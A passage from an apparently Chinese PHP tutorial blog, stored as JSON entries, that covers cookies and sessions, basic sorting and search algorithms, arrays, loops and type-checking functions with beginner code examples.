来实现自动登录的功能.// 当用户手动退出账号之后我们就可以用以下方法去删除Cookie,不在实现自动登录功能setcookie("user", "", time()-3600); //将过期时间设置为当前时间减去3600 秒(即使 Cookie 过期)?> 设置COOKIE的值为false或空字符串 12setcookie("user", "false");setcookie("user", ""); 清理浏览器缓存 4、COOKIE优缺点 COOKIE存储在客户端,相对来说不太安全. COOKIE存储的数据类型,只能是字符串. COOKIE存储的数据容量,大约只能存储4KB数据. 浏览器可以禁用缓存,也可以禁用COOKIE,则COOKIE功能就失效. PHP Session PHP session 变量用于存储关于用户会话(session)的信息,或者更改用户会话(session)的设置.Session 变量存储单一用户的信息,并且对于应用程序中的所有页面都是可用的. 1、开启SESSION会话功能(session_start()函数)$SESSION变量默认是不存在的,因此,必须先开启SESSION,才能使用$SESSION变量; 注意: session_start() 函数必须位于 <html> 标签之前 用法: 1234567<?php session_start(); ?><html><body></body></html> 上面的代码会向服务器注册用户的会话,以便您可以开始保存用户信息,同时会为用户会话分配一个 UID. 一个网站不管添加多少个SESSION数据,最终在浏览器端只存储一个SESSION的UID值. 注意: 每个需要SESSION数据的页面,都要开启SESSION功能 SESSION功能,不能重复开启(同一个页面不能开2次) 2、存储 Session 变量存储和取回 SESSION 变量的正确方法是使用 PHP $_SESSION 变量用法: 1$_SESSION['变量名'] 实例操作:在1.php中开启SESSION功能,并且给SESSION变量uid赋值为admin 12345678910111213<?phpsession_start();$_SESSION['uid']="admin";?><!DOCTYPE html><html lang="en"><head>\t<meta charset="UTF-8">\t<title>admin</title></head><body></body></html> 3、在其他页面中取回SESSION变量的值实例操作:在2.php中开启SESSION功能,并且将SESSION变量uid输出 1234567891011121314151617<?phpsession_start();?><!DOCTYPE html><html lang="en"><head>\t<meta charset="UTF-8">\t<title>admin</title></head><body><?phpecho "userid=". $_SESSION['uid'];?></body></html> 输出结果: 1userid=admin 4、销毁Session删除某些 SESSION 数据,可以使用 unset() 或 session_destroy() 函数. unset() 函数用于释放指定的 SESSION 变量: 123<?phpunset($_SESSION['uid']);?> 也可以通过 session_destroy() 函数彻底终结 SESSION: 123?phpsession_destroy();?> 注意: session_destroy() 将重置 SESSION,您将失去所有已存储的 SESSION 数据,使用的时候慎重. 5、SESSION的优点和特点 Session对象存储特定用户的会话数据; Session将会话数据存储在服务器端; Session是基于Cookie技术的,没有Cookie就没有Session; Session在整个用户会话中,一直存在下去,一个用户会话时效:从用户登录开始,到用户登录结束; Session存储的数据量要比cookie大的多; Session存储的内容类型,不限于字符串; Session数据存储在服务器端,更安全,可靠. Session 的工作机制是:为每个访问者创建一个唯一的 id (UID),并基于这个 UID 来存储变量.UID 存储在 cookie 中,亦或通过 URL 进行传导. cookie和session主要区别: Cookie以文本文件格式存储在浏览器中,而session存储在服务端. cookie的存储限制了数据量,只允许4KB,而session是无限量的 我们可以轻松访问cookie值但是我们无法轻松访问会话值,因此它更安全 设置cookie时间可以使cookie过期.但是使用session-destory(),我们将会销毁会话 三、使用我们的Cookie或Session完成表单项目未完待续…. 思考?生产环境中为什么没有人会把所有的或者敏感信息存放到session或者Cookie当中呢?","tags":["PHP","编程语言"]},{"title":"PHP-算法初识~","path":"/2023/09/04/258025d3/","content":"总字符数: 8.08K 代码: 5.11K, 文本: 2.83K 预计阅读时间: 35 分钟 编程思想编程思想:如何利用数学模式,来解决对应的需求问题:然后利用代码实现对应的数据模型(逻辑).算法:使用代码实现对应的数学模型,从而解决对应的业务问题. 逆推算法递推算法是一种简单的算法,即通过已知条件,利用特定关系得出中间推论,直至得到结果的算法.递推算法分为顺推和逆推两种. 顺推:通过最简单的条件(已知),然后逐步推演结果 逆推:通过结果找到规律,然后推到已知条件 斐波那契数列: 1 1 2 3 5 8 13 …通常需求:请求得指定位置N所对应的值是多少找规律: 第一个数是1 第二个数也是1 从第三位开始:属于前两个数的和 代码解决思路: 如果数字位置为1和2,结果都是1 从第三个开始,想办法得到前两个的结果,就可以得到 终极解决办法:想办法把要求的位置之前的所有的值都出来,那么要求的数就可以通过前两个之和计算出来:使用数组存储所有结果即可. 12345678910111213141516171819202122232425//递推思想(算法)//需求:规律1 1 2 3 5 ...//求出指定位数对应的值//已知条件:第一个和第二个数都为1,第三个开始为前两个之和function my_recursive($des){ //判断:如果为第一个或第二个直接返回结果 if($des==1||$des==2) return 1; //开始计算: $f[1] =1; $f[2]=1; //如果想要第一个或者第二个结果,那么可以直接给出 for($i=3;$i<=$des;$i++){ $f[$i]=$f[$i-1]+$f[$i-2]; } //返回结果 return $f[$des];}//调用函数并查看结果echo my_recursive(10);结果:55 递归算法递归算法是把问题转化为规模缩小了的同类问题的子问题.然后递归调用函数(或过程〉来表示问题的解. 简化问题:找到最优子问题(不能再小) 函数调用自己 斐波那契序列:1 1 2 3 5 8 13…需求:求指定位置的数列的值规律:第一个和第二个为1,从第三个开始为前两个之和假设:F(N) = F(N-1)+F(N-2);F(N-1) = F(N-1)+F(N-3);···F(2)=F(1)=1 递归思想中:有两个非常重要的点递归点:发现当前问题可以有解决当期问题的函数,去解决规模比当前小一点的问题来解决F(N) = F(N-1)+F(N-2);递归出口:当问题解决的时候,已经到达(必须有)最优子问题,不能再次调用函数如果一个函数递归调用自己而没有递归出口:就是死循环递归的本质是函数调用函数:一个函数需要开辟一块内存空间,递归会出现同时调用N多个函数(自己):递归的本质是利用空间换时间 1234567891011//递归思想//递归一定有函数function recursion($n){ //递归出口 if($n == 1 || $n == 2 ) return 1; //递归点:求N的值,与求N-1的值一模一样,只是N-1的规模比N小 return recursion($n-1)+recursion($n-2);}echo recursion(3); 数组排序算法冒泡排序冒泡排序(Bubble Sort),是一种计算机科学领域的较简单的排序算法.它重复地走访过要排序的数列,一次比较两个元素,如果他们的顺序错误就把他们交换过来.走访数列的工作是重复地进行直到没有再需要交换,也就是说该数列已经排序完成. 冒泡排序的算法思路: 比较相邻的元素.如果第一个比第二个大,就交换他们两个. 对每一对相邻元素作同样的工作,从开始第一对到结尾的最后一对.在这一点,最后的元素应该会是最大的数. 针对所有的元素重复以上的步骤,除了最后一个. 持续每次对越来越少的元素重复上面的步骤,直到没有任何一对数字需要比较. 123456789101112131415161718192021222324252627282930//数组排序算法:冒泡排序$arr = array(1,4,2,9,7,5,8);//2.想办法让下面可以每次最大值的代码重复执行for($i=0,$len = count($arr);$i<$len;$i++){ //1. 想办法将最大的值放大最右边 for($j = 0; $j < $len - 1-$i;$j++){ //判断:两两相比 if($arr[$j]>$arr[$j+1]){ //左边比右边大:交换 $temp = $arr[$j]; $arr[$j] = $arr[$j+1]; $arr[$j+1] = $temp; } }}echo '<pre>';print_r($arr);结果:Array( [0] => 1 [1] => 2 [2] => 4 [3] => 5 [4] => 7 [5] => 8 [6] => 9) 选择排序选择排序(Selection sort)是一种简单直观的排序算法.它的工作原理是每一次从待排序的数据元素中选出最小(或最大)的一个元素,存放在序列的起始位置,直到全部待排序的数据元素排完.选择排序是不稳定的排序方法(比如序列[5,5,3]第一次就将第一个[5]与[3]交换,导致第一个5挪动到第二个5后面). 选择排序的算法思路: 假设第一个元素为最小元素,记下下标. 寻找右侧剩余的元素,如果有更小的,重新记下最新的下标. 如果有新的最小的,交换两个元素. 往右重复以上步骤,直到元素本身是最后一个. 123456789101112131415161718192021222324252627282930313233343536//数组排序算法:选择排序$arr = array(1,5,2,9,6,3,4);//1.确定要交换多少次:一次只能找一个最小的,需要找数组长度对应的次数for($i=0,$len=count($arr);$i<$len;$i++){ //2.假设当前第一个已经排好序 $min = $i; //当前第一个数是最小的 //3.拿当前最小的去比较剩余的其他数 for($j=$i+1;$j<$len;$j++){ //4.比较:比较当前元素与选定的最小的元素 if($arr[$j]<$arr[$min]){ //说明当前的$min不合适 $min = $j; } } //5.交换当前选定的值与实际最小的元素值 if($min != $i){ $temp = $arr[$i]; $arr[$i]=$arr[$min]; $arr[$min]=$temp; }}echo '<pre>';print_r($arr);结果:Array( [0] => 1 [1] => 2 [2] => 3 [3] => 4 [4] => 5 [5] => 6 [6] => 9) 插入排序插入排序(Insert sort),插入排序的基本操作就是将一个数据插入到已经排好序的有序数据中,从而得到一个新的、个数加一的有序数据,算法适用于少量数据的排序,是稳定的排序方法.插入算法把要排序的数组分成两部分:第一部分包含了这个数组的所有元素,但将最后一个元素除外(让数组多一个空间才有插入的位置),而第二部分就只包含这一个元素(即待插入元素).在第一部分排序完成后,再将这个最后元素插入到已排好序的第一部分中.插入排序的基本思想是:每步将一个待排序的纪录,按其关键码值的大小插入前面已经排序的文件中适当位置上,直到全部插入完为止.插入排序的算法思路: 设置监视哨r[0],将待插入纪录的值赋值给r[0]; 设置开始查找的位置j; 在数组中进行搜索,搜索中将第j个纪录后移,直至r[0].kex>=r[j].key为止; 将r[0]插入r[j+1]的位置上. 认定第一个元素已经排好序; 取出第二个元素,作为待插入数据; 与已经排好序的数组的最右侧元素开始进行比较 如果后面的小于前面的:说明前面已经排好序的那个数组元素不在对的位置(向后移一个),然后让新的元素填充进去(继续向前比:高级) 重复前面的步骤:直到当前元素插入到对位置; 重复以上步骤,直到所有的数组元素都插入到对的位置. 123456789101112131415161718192021222324252627282930313233//数组排序算法:插入排序$arr = array(4,2,6,8,9,5);//1、确定要插入多少回(假设一个数组一次性插入到对的位置,同时第一个位置是假设对的)for($i = 1,$len = count($arr);$i< $len;$i++){ //2、取出当前要插入的元素的值 $temp = $arr[$i]; //3、让该数据与前面已经排好序的数组元素重复比较(挨个比较),直到的位置(交换) for($j =$i - 1;$j >= 0;$j--){ // 4、比较 if($arr[$j] >$temp){ //说明当前要插入的元素,比前面的已经排好序的元素的值要小:交换位置 $arr[$j+1] = $arr[$j]; $arr[$j] = $temp; }else{ //说明当前待插入元素,比前面的元素要大:说明位置正确 break; } }}echo '<pre>';print_r($arr);结果:Array( [0] => 2 [1] => 4 [2] => 5 [3] => 6 [4] => 8 [5] => 9) 快速排序快速排序(Quicksort)是对冒泡排序的一种改进.通过一趟排序将要排序的数据分割成独立的两部分,其中一部分的所有数据都比另外一部分的所有数据都要小,然后再按此方法对这两部分数据分别进行快速排序,整个排序过程可以递归进行,以此达到整个数据变成有序序列.(递归)设要排序的数组是 A[0]……A[N-1],首先任意选取一个数据(通常选用数组的第一个数)作为关键数据,然后将所有比它小的数都放到它前面,所有比它大的数都放到它后面,这个过程称为一趟快速排序.值得注意的是,快速排序不是一种稳定的排序算法,也就是说,多个相同的值的相对位置也许会在算法结束时产生变动快速排序的算法是: 从数组中选出一个元素(通常第一个),作为参照对象. 定义两个数组,将目标数组中剩余的元素与参照元素挨个比较:小的放到一个数组,大的放到另外一个数组. 第二步执行完之后,前后的数组顺序不确定,但是确定了自己的位置. 将得到的小数组按照第1到第3部重复操作(子问题). 回溯最小数组(一个元素). 1234567891011121314151617181920212223242526272829303132333435363738//PHP数组排序:快速排序$arr = array(5,6,3,4,9,2,7,8);//快速排序function quick_sort($arr){ //递归出口 $len = count($arr); if($len <= 1) return $arr; //取出某个元素,然后将剩余的数组元素,分散到两个不同的数组中 $left = $right =array(); for($i=1;$i<$len;$i++){ //第一个元素作为比较元素 //比较:小的放left中,大的放right中 if($arr[$i]<$arr[0]){ $left[]=$arr[$i]; }else{ $right[]=$arr[$i]; } } //$left和$right数组没有排序好:递归点 $left = quick_sort($left); $right = quick_sort($right); //合并三个"数"组 return array_merge($left,(array)$arr[0],$right);}print_r(quick_sort($arr));结果:Array( [0] => 2 [1] => 3 [2] => 4 [3] => 5 [4] => 6 [5] => 7 [6] => 8 [7] => 9) 归并排序归并排序(MERGE-SORT)是建立在归并操作上的一种有效的排序算法,该算法是采用分治法(Divide and Conquer)的一个非常典型的应用.将已有序的子序列合并,得到完全有序的序列;即先使每个子序列有序,再使子序列段间有序.若将两个有序表合并成一个有序表,称为二路归并 1234567891011121314151617181920212223二路归并实现:$arr1 = array(1,3,5);$arr2 = array(2,4,6);//取出一个空数组用于归并空间$arr3 = array();while(count($arr1)&&count($arr2)){ //只要$arr1和$arr2里面还有元素,就进行循环 //取出每个元组的第一个元素:进行比较 $arr3[] = $arr1[0]<$arr2[0]?array_shift($arr1):array_shift($arr2);}//合并结果print_r(array_merge($arr3,$arr1,$arr2));结果:Array( [0] => 1 [1] => 2 [2] => 3 [3] => 4 [4] => 5 [5] => 6) 归并排序的算法是: 将数组拆分成两个数组 重复步骤1将数组拆分成最小单元 申请空间,使其大小为两个已经排序序列之和,该空间用来存放合并后的序列 设定两个指针,最初位置分别为两个已经排序序列的起始位置 比较两个指针所指向的元素,选择相对小的元素放入到合并空间,并移动指针到下一位置 重复步骤3直到某一指针超出序列尾 将另一序列剩下的所有元素直接复制到合并序列尾 123456789101112131415161718192021222324252627282930313233343536$arr=array(4,7,2,1,5,9,3);//归并排序函数function merge_sort($arr){ //递归出口 $len = count($arr); if($len<=1) return $arr; //拆分 $middle = floor($len/2); $left = array_slice($arr,0,$middle); $right = array_slice($arr,$middle); //递归点:$left和$right都没有排好序:而且可能是多个元素的数组 $left = merge_sort($left); $right = merge_sort($right); //假设:左边和右边都已经排好序了 $m = array(); while(count($left)&&count($right)){ //只要$arr1和$arr2里面还有元素,就进行循环 //取出每个元组的第一个元素:进行比较 $m[] = $left[0]<$right[0]?array_shift($left):array_shift($right); } //返回结果 return array_merge($m,$left,$right);}print_r(merge_sort($arr));结果:Array( [0] => 1 [1] => 2 [2] => 3 [3] => 4 [4] => 5 [5] => 7 [6] => 9) 查找算法查找算法含义查找是在大量的信息中寻找一个特定的信息元素,在计算机应用中,查找是常用的基本运算.查找算法是指实现查找过程对应的代码结.就是在大型数组中去快速定位想要的元素. 顺序查找算法顺序查找也称为线形查找,从数据结构线形表的一端开始,顺序扫描,依次将扫描到的结点关键字与给定值k相比较,若相等则表示查找成功;若扫描结束仍没有找到关键字等于k的结点,表示查找失败. 1234567891011121314151617//顺序查找$arr = array(1,3,6,8,23,68,100);//顺序查找:v哦那个数组第一个元素快速,挨个匹配function check_order($arr,$num){ //全部匹配 for($i=0,$len=count($arr);$i<$len;$i++){ //判断 if($arr[$i] == $num){ return $i+1; } } return false;}var_dump(check_order($arr,1));结果:int(1) 二分查找算法二分查找要求线形表中的结点按关键字值升序或降序排列,用给定值k先与中间结点的关键字比较,中间结点把线形表分成两个子表,若相等则查找成功;若不相等,再根据k与该中间结点关键字的比较结果确定下一步查找那个子表,这样递归进行,直到查找到或查找结束发现表中没有这样的结点.折半算法思路: 计算数组长度; 确定左右两边的指针位置; 找到中间位置; 匹配; 然后根据大小重定边界; 12345678910111213141516171819202122232425262728//二分查找算法$arr = array(1,3,6,8,23,68,100);function check_break($arr,$res){ //1.得到数组的边界(长度) $right = count($arr); $left = 0; //2. 循环匹配 while($left<=$right){ //3.得到中间位置 $middle = floor(($right+$left)/2); //4.匹配数据 if($arr[$middle]==$res){ return $middle+1; } //5.没有找到 if($arr[$middle]<$res){ //值在右边 $left=$middle+1; }else{ //值在左边 $right = $middle-1; } } return false;}var_dump(check_break($arr,3));结果:float(2)","tags":["PHP","编程语言"]},{"title":"PHP-从入门到精通(下)","path":"/2023/09/03/39ccd172/","content":"总字符数: 32.99K 代码: 23.98K, 文本: 6.72K 预计阅读时间: 2.22 小时 八、PHP 数组 数组:array,数据的组合,指将一组数据(多个)存储到一个指定的容器中,用变量指向该容器,然后可以通过变量一次性得到该容器中的所有数据. 创建数组在 PHP 中,array()函数用于创建数组 在 PHP 中,有三种类型的数组: 数值数组 - 带有数字 ID 键的数组 关联数组 - 带有指定的键的数组,每个键关联一个值 多维数组 - 包含一个或多个数组的数组 12345678在PHP中系统提供多种定义数组的方式:1. 使用array关键字:最常用的$变量= (array元素1,元素2,元素3..);2. 可以使用中括号来包裹数据:$变量 = [元素1,元素2...];3. 隐形定义数组:给变量增加一个中括号,系统自动变成数组$变量[]=值1; //如果不提供下标也可以,系统自动生成(数字:从0开始)$变量[下标]=值; //中括号里面的内容称之为下标key,该下标可以是字母(单词)或者数字,与变量命名的规则相似 1234567891011121314151617181920<?php // 数值数组 $array_num=array("php","java","python"); $array_num1=array(); $array_num1[0]="php"; $array_num1[1]="java"; $array_num1[2]="python"; var_dump($array_num); echo "</br>"; var_dump($array_num1); echo "</br>"; // 关联数组 $array_key=array("姓名"=>"张三","成绩"=>100,"班级"=>"2班"); $array_key1=array(); $array_key1["姓名"]="张三"; $array_num1["成绩"]=100; $array_num1["班级"]="2班"; var_dump($array_key); echo "</br>"; var_dump($array_key1); 多维数组多维数组是包含一个或多个数组的数组. 在多维数组中,主数组中的每一个元素也可以是一个数组,子数组中的每一个元素也可以是一个数组. 数组的维度指示您需要选择元素的索引数. 对于二维数组,您需要两个索引来选取元素 对于三维数组,您需要三个索引来选取元素 在第二维度的数组元素中可以继续是数组,在PHP中没有维度限制(PHP本质并没有二维数组),但是不建议使用超过三维以上的数组,会增加访问的复杂度,降低访问效率. 两维数组两维数组是数组的数组(三维数组是数组的数组的数组). 姓名 年龄 性别 php 30 男 Bob 17 女 Tony 21 男 wink 15 女 如下将上表中的数据存储到两维数组中: 1234567891011121314151617<?php\t// 多维数组 $user = array ( array("php",30,"男"), array("Bob",15,"女"), array("Tony",5,"男"), array("Wink",17,"女") ); /* * 现在这个两维数组包含了四个数组,并且它有两个索引(下标):行和列. * 如需访问 $user 数组中的元素,我们必须使用两个索引(行和列): */ echo $user[0][0].":年龄 :".$user[0][1].", 性别:".$user[0][2].".<br>"; echo $user[1][0].":年龄 :".$user[1][1].", 性别:".$user[1][2].".<br>"; echo $user[2][0].":年龄 :".$user[2][1].", 性别:".$user[2][2].".<br>"; echo $user[3][0].":年龄 :".$user[3][1].", 性别:".$user[3][2].".<br>"; 数组的常用操作12345678910111213141516171819202122232425262728293031323334353637<?php $fruits = array('apple', 'banana', 'orange'); // 添加新元素到数组开头 array_unshift($fruits,"tomato"); print_r($fruits); echo "</br>"; // 添加新元素到数组末尾 $fruits[]="peach"; print_r($fruits); echo "</br>"; // 合并两个数组 $fruits2 = array('blueberry', 'grape'); print_r(array_merge($fruits,$fruits2)); echo "</br>"; // 反转数组 print_r(array_reverse($fruits)); echo "</br>"; // 获取数组中的所有键名或所有值 print_r(array_keys($fruits)); echo "</br>"; print_r(array_values($fruits)); echo "</br>"; // 检查一个值是否在数组中,并返回对应的键名 echo "根据值搜索键名:".array_search("grape",$fruits2); echo "</br>"; // 修改数组元素值 $fruits2[1]="apricot"; print_r("修改数组元素值:".$fruits2); echo "</br>"; // 检查数组中是否存在某个元素 var_dump("检查数组中是否存在某个元素:".in_array("apple",$fruits)); echo "</br>"; // 获取数组的长度(元素个数) echo "数组长度:".count($fruits); echo "</br>"; // 检查数组是否为空 var_dump(empty($fruits)); PHP数组特点 可以整数下标或者字符串下标 不同下标可以混合存在 数组元素的顺序以放入顺序为准,跟下标无关 数字下标的自增长性 从0开始自动增长,如果中间手动下标出现较大的,那么后面的自增长元素从最大的值+1开始 特殊值下标的自动转换 布尔值 true false 空 null PHP中数组元素没有类型限制 PHP中数组元素没有长度限制 PHP中的数组是很大的数据,所以存储位置是堆区,为当前数组分配一块连续的内存. 12345<?php $arr1[false]=false; $arr1[true]=true; $arr1[null]=null; var_dump($arr1); 数组遍历 数组遍历:普通数组数据的访问都是通过数组元素的下标来实现访问,如果说数组中所有的数据都需要依次输出出来,就需要我们使用到一些简化的规则来实现自动获取下标以及输出数组元素. 1234567$arr = array(0=>array('name'=>'Tom'),1=>array('name'=>'Jim')); //二维数组// 访问一维元素:$arr[一维下标]$arr[0]; //结果:array('name'=>'Tom');//访问二维元素:$arr[一维下标][二维下标]$arr[1]['name'];//结果:Jim foreach遍历原理 foreach遍历的原理:本质是数组的内部有一颗指针,默认是指向数组元素的第一个元素,foreach就是利用指针去获取数据,同时移动指针. 1234567foreach($arr, as $k => $v){ //循环体}# 1.foreach会重置指针:让指针指向第一个元素;# 2.进入foreach循环:通过指针取得当前第一个元素,然后将下标取出放到对应的下标变量$k中(如果存在),将值取出来放到对应的值变量$v中;(指针下移)# 3.进入到循环内部(循环体),开始执行;# 4.重复2和3,直到在2的时候遇到指针取不到内容(指针指向数组最后) 遍历语法1234567891011121314151617181920<?php/*基本语法:foreach(数组变量 as [$下标=>] $值){}通常:如果是关联数组(字母下标),就需要下标,如果是数字下标就直接访问值在进行数据存储定义的时候,通常二维数组不会两个维度的key下标都为数字,一般是一维为数字(无意义),二维为字符串(数据库表字段),所以在进行遍历的时候,通常是只需要针对一维进行遍历,取得二维数组元素,然后二维数组元素通过下标去访问.*/$arr = ['a' => 'aaa', 'b' => 'bbb', 'c' => 'ccc'];// 使用 foreach 遍历数组,并将键名赋值给 $key,键值赋值给 $valueforeach ($arr as $key => $value) { echo $key . '<br/>'; // 输出当前的键名}echo "--------";echo "</br>";// 使用 foreach 遍历数组,只获取键值部分,赋值给 $valforeach ($arr as $val) { echo $val . '<br/>'; // 输出当前的键值} for循环遍历数组 for循环:基于已知边界条件(起始和结束)然后有条件的变化(规律)因此:for循环遍历数组有对应条件 获取数组长度:count(数组)得到数组元素的长度 要求数组元素的下标是规律的数字 12345678$arr = array(1, 2, 3, 4, 5, 6, 7, 10);// 获取数组的长度(元素个数)$len = count($arr);// 使用 for 循环从数组的第一个元素开始遍历到最后一个元素for ($i = 0; $i < $len; $i++) { // 输出当前的键(下标) $i,以及对应的值 $arr[$i] echo 'key is :', $i, ' and value is :', $arr[$i], '</br>';} 数组排序函数123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263641. 排序函数:对数组元素进行排序,都是安装ASCII码进行比较,可以进行英文比较sort():顺序排序(下标重排)asort():升序排序(对键排序)rsort():逆序排序asor():顺序排序(下标保留)arsort():逆序排序ksort():顺序排序:按照键名(下标)krsort():逆序排序shuffle():随机打乱数组元素,数组下标会重排2. 指针函数reset():重置指针,将数组指针回到首位end():重置指针,将数组指针指到最后一个元素next():指针下移,取得下一个元素的值prev():指针上移,取得上一个元素的值current():获取当前指针对应的元素值key():获取当前指针对应的下标值注意事项:next和prev会移动指针,有可能导致指针移到最前或者最后(离开数组),导致数组不能使用,不能通过next和prev不能回到正确的位置.只能通过end或者reset进行指针重置3. 其他函数count():统计数组中元素的数量array_push():往数组中加入一个元素(数组后面)array_pop():从数组中取出一个元素(数组后面)array_shift():从数组中取出一个元素(数组前面)array_unshift():从数组中加入一个元素(数组前面)PHP模拟数据结构:栈:压栈,先进去后出来(FILO)//数据结构:栈和队列$arr = array();//栈:先压栈后出栈:都是从一端出来//前面:array_shift/array_unshift//后面:array_push/array_pop//压栈array_push($arr,3);array_push($arr,2);array_push($arr,1);print_r($arr);//出栈echo array_pop($arr),array_pop($arr),array_pop($arr);结果:Array( [0] => 3 [1] => 2 [2] => 1)123队列:排队,先进去的先出去(FIFO)//队列:先排队,先出来,一端进,另外一端出//后进前出:array_push/array_shift//前进后出:array_unshift/array_pop$arr = array();//入队array_unshift($arr,3);array_unshift($arr,2);array_unshift($arr,1);print_r($arr);//出队echo array_pop($arr),array_pop($arr),array_pop($arr);arcray_reverse():数组元素反过来in_array():判断一个元素在数组中是否存在array_keys():获取一个数组的所有下标,返回一个索引数组array_values():获取一个数组的所有值,返回一个索引数组 九、PHP 循环在日常编写代码时,经常需要让相同的代码块一次又一次地重复运行.我们可以在代码中使用循环语句来完成这个任务. 在 PHP 中,提供了下列循环语句: while - 只要指定的条件成立,则循环执行代码块 do…while - 首先执行一次代码块,然后在指定的条件成立时重复这个循环 for - 循环执行代码块指定的次数 foreach - 根据数组中每个元素来循环代码块 while 循环while 循环将重复执行代码块,直到指定的条件不成立 12345条件初始化;while(条件表达式){ //条件表达式就是判断边界条件 循环体;//循环条件的变化} 123456<?php $i = 1; // 初始化变量$i为1 while ($i <= 5) { // 当$i小于等于5时执行循环 echo "num is " . $i . "<br>"; // 输出当前的$i值 $i++; // 增加$i的值,以便进行下一次循环 } do…while 语句 do-while:看着很像while,while首先进行条件判定然后执行循环体,有可能出现第一次就条件不满足,那么就会直接失败(循环体一次都不执行). do-while就是先干了再说(先执行循环体).后判断条件(至少会执行一次循环体) 123do{ 循环体;}while(条件表达式); 123456<?php $i=1; do{ $i++; echo "num " . $i . "<br>"; }while ($i<=5); for 循环for 循环用于您预先知道脚本需要运行的次数的情况 123456for(初始值;条件;增量){ //初始值:定义初始化条件,可以有多种赋值语句存在,使用逗号分隔即可 //条件:边界判定,限定循环执行的次数 //增量:用来执行条件变化 //循环体} 参数: 初始值:主要是初始化一个变量值,用于设置一个计数器(但可以是任何在循环的开始被执行一次的代码). 条件:循环执行的限制条件.如果为 TRUE,则循环继续.如果为 FALSE,则循环结束. 增量:主要用于递增计数器(但可以是任何在循环的结束被执行的代码). 上面的初始值和增量参数可为空,或者有多个表达式(用逗号分隔). 12345<?php for ($i=1; $i<=5; $i++) { echo "num is " . $i . "<br>"; } foreach 循环foreach 循环用于遍历数组,我们在数组那一章讲了 循环控制 中断控制和终止控制是用于控制程序流程的重要工具. 中断控制: 中断控制是指在程序执行过程中,根据某些条件或事件的发生,提前跳出当前代码块或循环,并转移到事先定义好的处理逻辑.中断控制可以帮助我们及时处理特定的情况,提高程序的灵活性和健壮性. 常见的中断控制包括使用break关键字来中断循环或跳出代码块.break语句可以用于终止当前的循环结构(例如for、while、do-while)或switch语句. 终止控制: 终止控制是指在程序执行过程中,根据某些条件或事件的发生,立即终止整个程序的执行.通常情况下,终止控制被视为异常情况的处理方式,用于在程序出现严重错误或无法继续执行时停止程序的运行. 在PHP中,我们可以使用exit或die函数来实现终止控制.这两个函数可以立即终止当前脚本的执行,并返回一个指定的退出码.它们还可以输出一条可选的终止消息. 在编写代码时,需要注意以下几点: 中断控制通常用于在满足特定条件时跳出循环或代码块,提前结束当前的执行流程. 终止控制应该谨慎使用,只在程序无法继续执行或出现严重错误的情况下才使用.过度使用终止控制可能会导致程序 结构混乱或在调试时难以追踪问题. 123456789101112131415161718<?php // continue用于跳过当前循环中剩余的代码,并继续下一次循环的执行.\t// continue的使用场景通常是在循环结构内部,用于满足某些条件时跳过当前迭代并进入下一次迭代.当程序执行到continue语句时,它会立即跳过当前循环体内后续的代码,然后返回至循环结构的开始处,检查循环条件并决定是否进入下一次循环. $i = 1;\t// 初始化变量$i为1 while ($i <= 100) { // 在 $i 小于等于 100 的条件下循环执行以下代码块 // 判断: 是否是 5 的倍数 if ($i % 5 != 0) { // 若 $i 不是 5 的倍数 $i++; // 增加 $i 的值,继续下一次循环 // 重新循环 continue; // 系统重新跳到循环开始处 } // 输出数值 echo $i++, '<br/> '; // 输出当前 $i 的值,并增加 $i 的值,显示换行标签 <br/>} 12345678910111213141516171819<?php // break用于中断循环结构的执行,并跳出当前循环 // break的使用场景通常是在循环结构内部,当满足某些条件时提前结束整个循环.当程序执行到break语句时,它会立即退出当前的循环体,并继续执行循环后面的代码. // 需要注意的是,break语句只能中断离它最近的循环结构.也就是说,break语句只会中断包含它的最内层循环,不会影响外层的循环. $i = 1; while ($i <= 100) { // 判断: 是否是5的倍数 if ($i % 5 != 0) { // 说明当前$i不是5的倍数 $i++; // 输出当前的$i值,并且将$i自增1 // 终止循环 break; } } echo $i; // 为什么结果是2呢? /* Continue 2;//当前自己循环后面内部不再执行,同时外部循环如果还有循环体也不再执行,重新来过; Break 2;//当前自己循环结束,同时外部也结束(如果还有外部(第三层)不受影响,继续执行) */ 流程控制替代语法 流程控制替代语法:分支和循环结构的替代语法 PHP本身是嵌入到HTML中的脚本语言,需要在HTML中书写一些关于判断或者循环的结构语法,必须符合PHP标签规范,需要 HTML与 PHP进行混搭,如果使用原始的PHP代码那么会非常不美观. 1234567891011121314151617181920212223242526<table border=1> <?php for($i = 1;$i < 10;$i++){?> <tr> <?php for($j = 1;$j < $i;$j++){?> <td> <?php echo $j .'*' .$i . '= ' .$i*$j;?> </td> <?php }?> </tr> <?php } ?></table>// 在PHP书写到HTML中的这些大括号}非常不美观,所以PHP提供了一种替代机制,让其可以不用书写大括号:for(;;){ => for(;;):} =>endfor;如下:<table border=1> <?php for($i = 1;$i < 10;$i++):?> <tr> <?php for($j = 1;$j < $i;$j++):?> <td> <?php echo $j .'*' .$i . '= ' .$i*$j;?> </td> <?php endfor;?> </tr> <?php endfor; ?></table> 十、PHP 函数 ​\tPHP函数是一段封装了特定功能的可重复使用的代码块.它们可以接受参数并返回值,用于执行特定任务或实现特定操作.函数的使用可以大大提高代码的可读性、重用性和维护性. ​\t在PHP中,你可以使用内置的函数,也可以自定义函数来满足特定的需求.内置函数如strlen()用于获取字符串长度,array_push()用于向数组末尾添加元素等等.通过自定义函数,你可以根据具体需求编写自己的函数,并在需要的时候调用它们. 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091以下是PHP的内置函数,用于检测变量的数据类型,以及它们的语法、用法及相关注释的举例:1. is_array() //判断变量是否为数组// 语法bool is_array(mixed $var) // 用法$var = array('apple', 'orange', 'banana');echo is_array($var) ? 'Array' : 'Not an Array'; // 输出:Array2. is_bool() //判断变量是否为布尔值// 语法bool is_bool(mixed $var)// 用法$var = false;echo is_bool($var) ? 'Boolean' : 'Not a Boolean'; // 输出:Boolean3. is_float() //判断变量是否为浮点数// 语法bool is_float(mixed $var)// 用法$var = 1.234;echo is_float($var) ? 'Float' : 'Not a Float'; // 输出:Float4. is_int() //判断变量是否为整数// 语法bool is_int(mixed $var)// 用法$var = 3;echo is_int($var) ? 'Integer' : 'Not an Integer'; // 输出:Integer5. is_null() //判断变量是否为NULL// 语法bool is_null(mixed $var)// 用法$var = null;echo is_null($var) ? 'NULL' : 'Not NULL'; // 输出:NULL6. is_numeric() //判断变量是否为数字或者数字字符串// 语法bool is_numeric(mixed $var)// 用法$var = '123';echo is_numeric($var) ? 'Numeric' : 'Not Numeric'; // 输出:Numeric7. 